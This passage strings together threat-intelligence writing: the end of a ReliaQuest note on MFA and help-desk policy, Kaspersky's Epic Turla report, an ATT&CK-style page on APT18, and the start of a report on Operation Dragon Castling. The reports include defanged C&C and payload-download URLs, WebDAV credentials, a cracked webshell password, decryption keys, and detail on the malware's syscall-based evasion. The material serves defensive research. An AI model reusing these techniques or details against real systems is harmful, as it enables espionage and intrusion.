requirements. Users assigned to this role should use a form of MFA that demonstrates substantial resistance to MFA bypass attacks. ReliaQuest recommends that new sign-ons, or the enrollment of an MFA factor for super administrator accounts, be accompanied by a notification. This recommendation also applies to internal IT documentation. Many organizations do not adequately limit access to internal IT documents or knowledge-base articles, enabling staff to access information related to specific IT processes or sensitive information on network architecture. Such accessibility could inadvertently provide a threat actor with valuable documents, and potentially enable an attacker to glean more information about the environment. ### Help-Desk Policies Help-desk users should adhere to rigorous policies concerning the verification of end users' identities, particularly for procedures involving the reset of credentials or MFA factors. With the growing prevalence of social-engineering tactics, we highly recommend implementing a challenge-response process or mandating user identity confirmation prior to any help-desk action. Additionally, consider using out-of-band communication methods to facilitate these changes (e.g., avoiding password reset requests via email if the user is potentially compromised). We also recommend a stringent escalation process for resetting credentials belonging to administrators, considering the elevated privileges associated with these accounts. Implement a comprehensive procedure before any such credential resets are permitted. At a minimum, the security team should be alerted to investigate when changes to an administrator account occur.
# The Epic Turla Operation ## Executive Summary Over the last 10 months, Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call "Epic Turla". The attackers behind Epic Turla have infected several hundred computers in more than 45 countries, including government institutions, embassies, military, education, research, and pharmaceutical companies. The attacks are known to have used at least two zero-day exploits: - **CVE-2013-5065** - Privilege escalation vulnerability in Windows XP and Windows 2003 - **CVE-2013-3346** - Arbitrary code-execution vulnerability in Adobe Reader We also observed exploits against older (patched) vulnerabilities, social engineering techniques, and watering hole strategies in these attacks. The primary backdoor used in the Epic attacks is also known as "WorldCupSec", "TadjMakhal", "Wipbot", or "Tavdig". When G-Data published on Turla/Uroburos back in February, several questions remained unanswered. One big unknown was the infection vector for Turla (aka Snake or Uroburos). Our analysis indicates that victims are infected via a sophisticated multi-stage attack, which begins with the Epic Turla. In time, as the attackers gain confidence, this is upgraded to more sophisticated backdoors, such as the Carbon/Cobra system. Sometimes, both backdoors are run in tandem and used to "rescue" each other if communications are lost with one of the backdoors. Once the attackers obtain the necessary credentials without the victim noticing, they deploy the rootkit and other extreme persistence mechanisms. The attacks are still ongoing as of July 2014, actively targeting users in Europe and the Middle East. ## The Epic Turla attacks The attacks in this campaign fall into several different categories depending on the vector used in the initial compromise: - Spearphishing e-mails with Adobe PDF exploits (CVE-2013-3346 + CVE-2013-5065) - Social engineering to trick the user into running malware installers with ".SCR" extension, sometimes packed with RAR - Watering hole attacks using Java exploits (CVE-2012-1723), Flash exploits (unknown), or Internet Explorer 6, 7, 8 exploits (unknown) - Watering hole attacks that rely on social engineering to trick the user into running fake "Flash Player" malware installers The attackers use both direct spearphishing and watering hole attacks to infect their victims. Watering holes are websites of interest to the victims that have been compromised by the attackers and injected to serve malicious code. So far we haven't been able to locate any e-mail used against the victims, only the attachments. The PDF attachments do not show any "lure" to the victim when opened; however, the SCR packages sometimes show a clean PDF upon successful installation. Some of the known attachment names used in the spearphishing attacks are: - "Geneva conference.rar" - NATO position on Syria.scr - Note_№ 107-41D.pdf - Talking Points.scr - border_security_protocol.rar - Security protocol.scr - Program.scr In some cases, these filenames can provide clues about the type of victims the attackers are targeting. ## The watering hole attacks Currently, the Epic attackers run a vast network of watering holes that target visitors with surgical precision. Some of the injected websites include: - The website of the City Hall of Pinor, Spain - A site promoting entrepreneurship in the border area of Romania - Palestinian Authority Ministry of Foreign Affairs In total, we observed more than 100 injected websites. Currently, the largest number of injected sites is in Romania. The distribution is obviously not random, and it reflects some of the interests of the attackers. For instance, in Romania, many of the infected sites are in the Mures region, while many of the Spanish infected sites belong to local governments (City Hall). Most of the infected sites use the TYPO3 CMS, which could indicate the attackers are abusing a specific vulnerability in this publishing platform. Injected websites load a remote JavaScript into the victim's browser. The script "sitenavigatoin.js" is a Pinlady-style browser and plugin detection script, which in turn, redirects to a PHP script sometimes called main.php or wreq.php. Sometimes, the attackers register the .JPG extension with the PHP handler on the server, using "JPG" files to run PHP scripts. The main exploitation script "wreq.php", "main.php", or "main.jpg" performs a number of tasks. We have located several versions of this script which attempt various exploitation mechanisms. One version of this script attempts to exploit Internet Explorer versions 6, 7, and 8. Unfortunately, the Internet Explorer exploits have not yet been retrieved. Another more recent version attempts to exploit Oracle Sun Java and Adobe Flash Player. Although the Flash Player exploits couldn't be retrieved, we did manage to obtain the Java exploits: | Name | MD5 | |---------------|---------------------------------------| | allj.html | 536eca0defc14eff0a38b64c74e03c79 | | allj.jar | f41077c4734ef27dec41c89223136cf8 | | allj64.html | 15060a4b998d8e288589d31ccd230f86 | | allj64.jar | e481f5ea90d684e5986e70e6338539b4 | | lstj.jar | 21cbc17b28126b88b954b3b123958b46 | | lstj.html | acae4a875cd160c015adfdea57bd62c4 | The Java files exploit a popular vulnerability, CVE-2012-1723, in various configurations. The payload dropped by these Java exploits is the following: - MD5: d7ca9cf72753df7392bfeea834bcf992 The Java exploit uses a special loader that attempts to inject the final Epic backdoor payload into explorer.exe. The backdoor extracted from the Java exploits has the following C&C hardcoded inside: - www.arshinmalalan[.]com/themes/v6/templates/css/in.php This C&C is still online at the moment although it redirects to a currently suspended page. For a full list of C&C servers, please see the Appendix. The Epic Turla attackers are extremely dynamic in using exploits or different methods depending on what is available at the moment. Most recently, we observed them using yet another technique coupled with watering hole attacks. This takes advantage of social engineering to trick the user into running a fake Flash Player (MD5: 030f5fdb78bfc1ce7b459d3cc2cf1877). In at least one case, they tried to trick the user into downloading and running a fake Microsoft Security Essentials app (MD5: 89b0f1a3a667e5cd43f5670e12dba411). The fake application is signed by a valid digital certificate from Sysprint AG: - Serial number: 00 c0 a3 9e 33 ec 8b ea 47 72 de 4b dc b7 49 bb 95 - Thumbprint: 24 21 58 64 f1 28 97 2b 26 22 17 2d ee 62 82 46 07 99 ca 46 This file was distributed from the Ministry of Foreign Affairs of Tajikistan's website. The file is a .NET application that contains an encrypted resource. This drops the malicious file with the MD5 7731d42b043865559258464fe1c98513. This is an Epic backdoor which connects to the following C&Cs, with a generic internal ID of 1156fd22-3443-4344-c4ffff: - hxxp://homaxcompany[.]com/components/com_sitemap/ - hxxp://www.hadilotfi[.]com/wp-content/themes/profile/ A full list with all the C&C server URLs that we recovered from the samples can be found in the technical Appendix. ## The Epic command-and-control infrastructure The Epic backdoors are commanded by a huge network of hacked servers that deliver command and control functionality. The huge network commanded by the Epic Turla attackers serves multiple purposes. For instance, the motherships function as both exploitation sites and command and control panels for the malware. Here's how the big picture looks like: Epic Turla lifecycle. The first level of command and control proxies generally talk to a second level of proxies, which in turn, talk to the "mothership" server. The mothership server is generally a VPS, which runs the Control panel software used to interact with the victims. The attackers operate the mothership using a network of proxies and VPN servers for anonymity reasons. The mothership also works as the exploitation servers used in the watering hole attacks, delivering Java, IE, or fake applications to the victim. We were able to get a copy of one of the motherships, which provided some insight into the operation. It runs a control panel which is password protected. Once logged into the Control panel, the attackers can see a general overview of the system including the number of interesting potential targets. A very interesting file on the servers is task.css, where the attackers define the IP ranges they are interested in. To change the file, they are using the "Task editor" from the menu. Depending on the "tasks", they will decide whether to infect the visitors or not. In this case, we found they targeted two ranges belonging to: - "Country A" - Federal Government Network - "Country B" - Government Telecommunications and Informatics Services Network It should be noted though, the fact that the attackers were targeting these ranges doesn't necessarily mean they also got infected. Some other unknown IPs were also observed in the targeting schedules. There is also an "except.css" file where attackers log the reasons they didn't try to exploit certain visitors. There are three possible values: - TRY - DON'T TRY -> Version of the browser and OS does not meet the conditions - DON'T TRY -> (2012-09-19 10:02:04) - checktime < 60 These are the "don't meet the conditions" reasons observed in the logs: - Windows 7 or 2008 R2 - MSIE 8.0 - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) - Adobe Shockwave 11.5.1.601 - Adobe Flash 10.3.181.14 - Adobe Reader 10.1.0.0 - Win Media Player 12.0.7601.17514 - Quick Time null - MS Word null - Java null ## The Epic / Tavdig / Wipbot backdoor For this first stage of the attack, the threat actor uses a custom backdoor. In some cases, the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated. This makes the analysis more difficult. The CVE-2013-5065 exploit allows the backdoor to achieve administrator privileges on the system and run unrestricted. This exploit only works on unpatched Microsoft Windows XP systems. Other known detection names for the backdoor are Trojan.Wipbot (Symantec) or Tavdig. The main backdoor is about 60KB in size and implements a C&C protocol on top of normal HTTP requests. The communication protocol uses requests in the C&C replies, which the malware decrypts and processes. The replies are sent back to the C&C through the same channel. The malware behavior is defined by a configuration block. The configuration block usually contains two hard-coded C&C URLs. We have also seen one case where the configuration block contains just one URL. The configuration can also be updated on the fly by the attackers, via the C&C. The backdoor attempts to identify the following processes and, if found, it will terminate itself: - tcpdump.exe - windump.exe - ethereal.exe - wireshark.exe - ettercap.exe - snoop.exe - dsniff.exe It contains an internal unique ID, which is used to identify the victim to the C&C. Most samples, especially old ones, have the ID 1156fd22-3443-4344-c4ffff. Once a victim is confirmed as "interesting", the attackers upload another Epic backdoor which has a unique ID used to control this specific victim. During the first C&C call, the backdoor sends a pack with the victim's system information. All further information sent to the C&C is encrypted with a public key framework, making decryption impossible. The commands from the C&C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware. Through monitoring, we were able to capture a large amount of commands sent to the victims by the attackers, providing a unique view into this operation. Once a victim is infected and "checks in" with the server, the attackers send a template of commands. Next, the attackers try to move through the victim's network using pre-defined or collected passwords. Listing all .doc files recursively is also a common "theme". In total, we have decoded several hundreds of these command packages delivered to the victims, providing a unique insight into the inner workings of the attackers. In addition to generic searches, some very specific lookups have been observed as well. These include searches for: - *NATO*.msg - eu energy dialogue*.* - EU*.msg - Budapest*.msg In this case, the attackers were interested to find e-mails related to "NATO", "Energy Dialogue within the European Union", and so on. For some of the C&C servers, the attackers implemented RSA encryption for the C&C logs, which makes it impossible to decrypt them. This scheme was implemented in April 2014. ## Lateral movement and upgrade to more sophisticated backdoors Once a victim is compromised, the attackers upload several tools that are used for lateral movement. One such tool observed in the attacks and saved as "C:\Documents and Settings\All users\Start Menu\Programs\Startup\winsvclg.exe" is: - **Name**: winsvclg.exe - **MD5**: a3cbf6179d437909eb532b7319b3dafe - **Compiled**: Tue Oct 02 13:51:50 2012 This is a keylogger tool that creates %temp%\~DFD3O8.tmp. Note: the filename can change across victims. On one Central Asian government's Ministry of Foreign Affairs victim system, the filename used was "adobe32updt.exe". In addition to these custom tools, we observed the usage of standard administration utilities. For instance, another tool often uploaded by the attackers to the victim's machine is "winrs.exe": - **Name**: winrs.exe - **MD5**: 1369fee289fe7798a02cde100a5e91d8 - This is an UPX packed binary, which contains the genuine "dnsquery.exe" tool from Microsoft, unpacked MD5: c0c03b71684eb0545ef9182f5f9928ca. In several cases, an interesting update has been observed -- a malware from a different, yet related family. - **Size**: 275,968 bytes - **MD5**: e9580b6b13822090db018c320e80865f - **Compiled**: Thu Nov 08 11:05:35 2012 Another example: - **Size**: 218,112 bytes - **MD5**: 071d3b60ebec2095165b6879e41211f2 - **Compiled**: Thu Nov 08 11:04:39 2012 This backdoor is more sophisticated and belongs to the next level of cyber-espionage tools called the "Carbon system" or Cobra by the Turla attackers. Several plugins for the "Carbon system" are known to exist. The Turla Carbon dropper from these packages has the following properties: - **MD5**: cb1b68d9971c2353c2d6a8119c49b51f This is called internally by the authors "Carbon System", part of the "Cobra" project, as it can be seen from the debug path inside. This acts as a dropper for the following modules, both 32 and 64 bit: | MD5 | Resource number | |---------------------------------------|------------------| | 4c1017de62ea4788c7c8058a8f825a2d | 101 | | 43e896ede6fe025ee90f7f27c6d376a4 | 102 | | e6d1dcc6c2601e592f2b03f35b06fa8f | 104 | | 554450c1ecb925693fedbb9e56702646 | 105 | | df230db9bddf200b24d8744ad84d80e8 | 161 | | 91a5594343b47462ebd6266a9c40abbe | 162 | | 244505129d96be57134cb00f27d4359c | 164 | | 4ae7e6011b550372d2a73ab3b4d67096 | 165 | The Carbon system is in essence an extensible platform, very similar to other attack platforms such as the Tilded platform or the Flame platform. The plugins for the Carbon system can be easily recognized as they always feature at least two exports named: - ModuleStart - ModuleStop Several Epic backdoors appear to have been designed to work as Carbon system plugins as well - they require a specialized loader to start in victim systems that do not have the Carbon system deployed. Some modules have artifacts which indicate the Carbon system is already at version 3.x, although the exact Carbon system version is very rarely seen in samples. The author of the Carbon module above can also be seen in the code, as "gilg", which also authored several other Turla modules. We are planning to cover the Turla Carbon system with more details in a future report. ## Language artifacts The payload recovered from one of the mothership servers contains two modules, a loader/injector and a backdoor. Internally, the backdoor is named "Zagruzchick.dll". The word "Zagruzchick" means "boot loader" in Russian. The Control panel for the Epic motherships also sets the language to codepage "1251", which is commonly used to render Cyrillic characters. There are other indications that the attackers are not native English language speakers: - Password it´s wrong! - Count successful more MAX - File is not exists - File is exists for edit The sample e9580b6b13822090db018c320e80865f that was delivered to several Epic victims as an upgraded backdoor has the compilation code page language set to "LANG_RUSSIAN". The threat actor behind the "Epic" operation uses mainly hacked servers to host their proxies. The hacked servers are controlled through the use of a PHP webshell. This shell is password protected; the password is checked against an MD5 hash. The MD5 "af3e8be26c63c4dd066935629cf9bac8" has been solved by Kaspersky Lab as the password "kenpachi". In February 2014, we observed the Miniduke threat actor using the same backdoor on their hacked servers, although using a much stronger password. Once again, it is also interesting to point out the usage of Codepage 1251 in the webshell, which is used to render Cyrillic characters. There appear to be several links between Turla and Miniduke, but we will leave that for a future blog post. ## Victim statistics On some of the C&C servers used in the Epic attacks, we were able to identify detailed victim statistics, which were saved for debugging purposes by the attackers. This is the country distribution for the top 20 affected countries by victim's IP. According to the public information available for the victims' IPs, targets of "Epic" belong to the following categories: - Government - Ministry of interior (EU country) - Ministry of trade and commerce (EU country) - Ministry of foreign/external affairs (Asian country, EU country) - Intelligence (Middle East, EU Country) - Embassies - Military (EU country) - Education - Research (Middle East) - Pharmaceutical companies - Unknown (impossible to determine based on IP/existing data) ## Summary When G-Data published their Turla paper, there were few details publicly available on how victims get infected with this malware campaign. Our analysis indicates this is a sophisticated multi-stage infection; which begins with Epic Turla. This is used to gain a foothold and validate the high-profile victim. If the victim is interesting, they get upgraded to the Turla Carbon system. Most recently, we observed this attack against a Kaspersky Lab user on August 5, 2014, indicating the operation remains fresh and ongoing.
# APT18 APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. **ID:** G0026 **Associated Groups:** TG-0416, Dynamite Panda, Threat Group-0416 **Version:** 2.1 **Created:** 31 May 2017 **Last Modified:** 30 March 2020 ## Associated Group Descriptions **Name** TG-0416 Dynamite Panda Threat Group-0416 ## Techniques Used | Domain | ID | Name | Use | |-------------|-----------|-----------------|---------------------------------------------------------------------| | Enterprise | T1071 | .001 | APT18 uses HTTP for C2 communications. | | | | | Protocol: Web Protocols | | Enterprise | T1071 | .004 | APT18 uses DNS for C2 communications. | | | | | Protocol: DNS | | Enterprise | T1547 | .001 | APT18 establishes persistence via the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key. | | | | | Execution: Registry Run Keys / Startup Folder | | Enterprise | T1059 | .003 | APT18 uses cmd.exe to execute commands on the victim’s machine. | | | | | Interpreter: Windows Command Shell | | Enterprise | T1133 | External | APT18 actors leverage legitimate credentials to log into external remote services. | | Enterprise | T1083 | File and | APT18 can list files information for specific directories. | | | | Directory | | | Enterprise | T1070 | .004 | APT18 actors deleted tools and batch files from victim systems. | | | | | Host: File Deletion | | Enterprise | T1105 | Ingress | APT18 can upload a file to the victim’s machine. | | | | Tool Transfer | | | Enterprise | T1027 | Obfuscated | APT18 obfuscates strings in the payload. | | | | Files or | | | | | Information | | | Enterprise | T1053 | .002 | APT18 actors used the native at Windows task scheduler tool to use scheduled tasks for execution on a victim network. | | Enterprise | T1082 | System | APT18 can collect system information from the victim’s machine. | | | | Information | | | Enterprise | T1078 | Valid | APT18 actors leverage legitimate credentials to log into external remote services. | ## Software | ID | Name | References | Techniques | |------------|--------------------|------------|---------------------------------------------------------------------------| | S0106 | cmd | [1] | Command and Scripting Interpreter: Windows Command Shell, File and Directory Discovery, Indicator Removal on Host: File Deletion, Ingress Tool Transfer, Lateral Tool Transfer, System Information Discovery | | S0032 | gh0st RAT | [5] | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter, Create or Modify System Process: Windows Service, Data Encoding: Standard Encoding, Deobfuscate/Decode Files or Information, Dynamic Resolution: Fast Flux DNS, Encrypted Channel: Symmetric Cryptography, Encrypted Channel, Hijack Execution Flow: DLL Side-Loading, Indicator Removal on Host: File Deletion, Indicator Removal on Host: Clear Windows Event Logs, Ingress Tool Transfer, Input Capture: Keylogging, Modify Registry, Native API, Non-Application Layer Protocol, Process Discovery, Process Injection, Query Registry, Screen Capture, Shared Modules, System Binary Proxy Execution: Rundll32, System Information Discovery, System Services: Service Execution | | S0071 | hcdLoader | [1][2] | Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service | | S0070 | HTTPBrowser | [5] | Application Layer Protocol: Web Protocols, Application Layer Protocol: DNS, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Commonly Used Port, File and Directory Discovery, Hijack Execution Flow: DLL Search Order Hijacking, Hijack Execution Flow: DLL Side-Loading, Indicator Removal on Host: File Deletion, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading: Match Legitimate Name or Location, Obfuscated Files or Information | | S0124 | Pisloader | [6] | Application Layer Protocol: DNS, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Command and Scripting Interpreter: Windows Command Shell, Data Encoding: Standard Encoding, File and Directory Discovery, Ingress Tool Transfer, Obfuscated Files or Information, System Information Discovery, System Network Configuration Discovery | ## References Carvey, H. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Shelmire, A. (2015, July 6). Evasive Maneuvers. Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism.
# Operation Dragon Castling: APT Group Targeting Betting Companies **March 22, 2022** ## Introduction We recently discovered an APT campaign we are calling Operation Dragon Castling. The campaign is targeting what appears to be betting companies in South East Asia, more specifically companies located in Taiwan, the Philippines, and Hong Kong. With moderate confidence, we can attribute the campaign to a Chinese-speaking APT group, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after. We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed. In this blog post, we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS Office. We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused. We would like to thank Taiwan’s TeamT5 for providing us with IoCs related to the infection vector. ## Infrastructure and Toolset In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g., we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin. However, we strongly believe that it is one of the malicious files used in this campaign. ## Infection Vector We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe, which is a part of the WPS Office installation package. We have contacted the WPS Office team about the vulnerability (CVE-2022-24934), which we discovered, and it has since been fixed. During our investigation, we saw suspicious behavior in the WPS updater process. When analyzing the binary, we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this, an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn, which is a domain belonging to Kingsoft, but the serving IP (103.140.187.16) has no relationship to the company, so we assume that it is a fake update server used by the attackers. The downloaded binary (setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954) drops two files for sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll. ### Dropper 1 (QMSpeedupRocketTrayStub64.dll) 76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491 The first stage is a backdoor communicating with a C&C (mirrors.centos.8788912[.]com). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress, FreeLibrary, LdrUnloadDll. To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary. Then it initializes an object for a JScript class with the named item ScriptHelper. The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER of an impersonated user. For communication with C&C, it constructs a UserAgent string with some system information e.g., Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform” registry values. After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key. Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header, and executed using the JScript class created previously. At the time of analysis, the C&C was not responding, but from the telemetry data, we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it. ### Dropper 2 (IcbcLog) a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3 The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012), then dropping a few binaries, which are stored with the following resource IDs: | Resource ID | Filename | Description | |-------------|-------------------------|---------------------------------| | 1825 | smcache.dat | List of C&C domains | | 1832 | log.dll | Loader (CoreX) 64bit | | 1840 | bdservicehost.exe | Signed PE for sideloading 64bit | | 1841 | N/A | Filenames for sideloading | | 1817 | inst.dat | Working path | | 1816 | hostcfg.dat | Used in the Host header, in C&C communication | | 1833 | bdservicehost.exe | Signed PE for sideloading 32bit – N/A | | 1831 | log.dll | Loader (32bit) – N/A | The encrypted payloads have the following structure: The encryption key is a wide string starting from offset 0x8. The encrypted data starts at the offset 0x528. To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer. To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage. ### Loader (CoreX) 97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42 The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1, it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat. The file is then loaded and decrypted using AES-256 with the following options for setup: Key is the computer name and IV is qwertyui12345678. AES-256 setup parameters are embedded in the resource in the format <key>#<IV>. The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll. We assume that this is used to bypass ntdll.dll hooking. After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (Windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed. ### Proto8 (Core Module) f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7 The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers, and waiting for commands. It has a cascading structure with four steps: **Step 1** The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function. The GetProcAddress hook contains an interesting debug output “in googo”. The malware then creates a new window (named Sample) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it. **Step 2** In the second step, the module tries to self-update, load configuration files, and set up its working directory (WD). **Self-update** The malware first looks for a file called new_version.dat – if it exists, its content is loaded into memory, executed in a new thread, and a debug string “run code ok” is printed out. We did not come across this file, but based on its name and context, this is most likely a self-update functionality. **Load configuration file inst.dat and set up working directory.** First, the core module configuration file inst.dat is searched for in the following three locations: - the directory where the core module DLL is located - the directory where the EXE that loaded the core module DLL is located - C:\ProgramData\ It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases. **Load configuration file smcache.dat.** After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols, and port numbers used to communicate with C&C servers (details in Step 4) plus a “comment” string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer and it’s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the “comment string” because we have seen a few versions of smcache.dat where the content of the string was “the comment string here” and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT. **Create a log file** Right after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck). Based on the extension, it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step. **Step 3** Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of “call objects”. Call objects are structures each associated with a particular function and saved into a “dispatcher” structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers. The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the RevertToSelf function is identified by the number 0x20210326 in some versions of the core module that we’ve seen and 0x19181726 in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function. | ID (last byte) | Function description | |----------------|----------------------| | 0x02 | unimplemented function | | 0x19 | retrieves content of smcache.dat and sends it to the C&C server | | 0x1A | writes data to smcache.dat | | 0x25 | impersonates the logged-on user or the explorer.exe process | | 0x26 | function that calls RevertToSelf | | 0x31 | receives data and copies it into a newly allocated executable buffer | | 0x33 | receives core plugin code, drops it on disk, and then loads and calls it | | 0x56 | writes a value into comment.dat | **Webdav** While initializing the call objects, the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W. This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself. **Plugins** The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg<tick_count>.dat in the malware working directory, loads it into memory, and then calls its exported function InitCorePlug. The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT. For more information about the plugins, see the dedicated Plugins section. **Step 4** In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows: The protocol string can have one of nine possible values: - TCP - HTTPS - UDP - DNS - ICMP - HTTPSIPV6 - WEB - SSH - HTTP Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C, and waits for commands. In this blog post, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers. When using the HTTP protocol, the core module first opens two persistent request handles – one for POST and one for GET requests, both to “/connect”. These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile. The core module uses the following (mostly hard-coded) HTTP headers: - Accept: */* - x-cid: {<uuid>} – new uuid is generated for each GET/POST request pair - Pragma: no-cache - Cache-control: no-transform - User-Agent: <user_agent> – generated from registry or hard-coded - Host: <host_value> – C&C server domain or the value from hostcfg.dat - Connection: Keep-Alive - Content-Length: 4294967295 (max uint, only in the POST request) **User-Agent header** The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing the registry) or a hard-coded string is used if the registry access fails: “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; 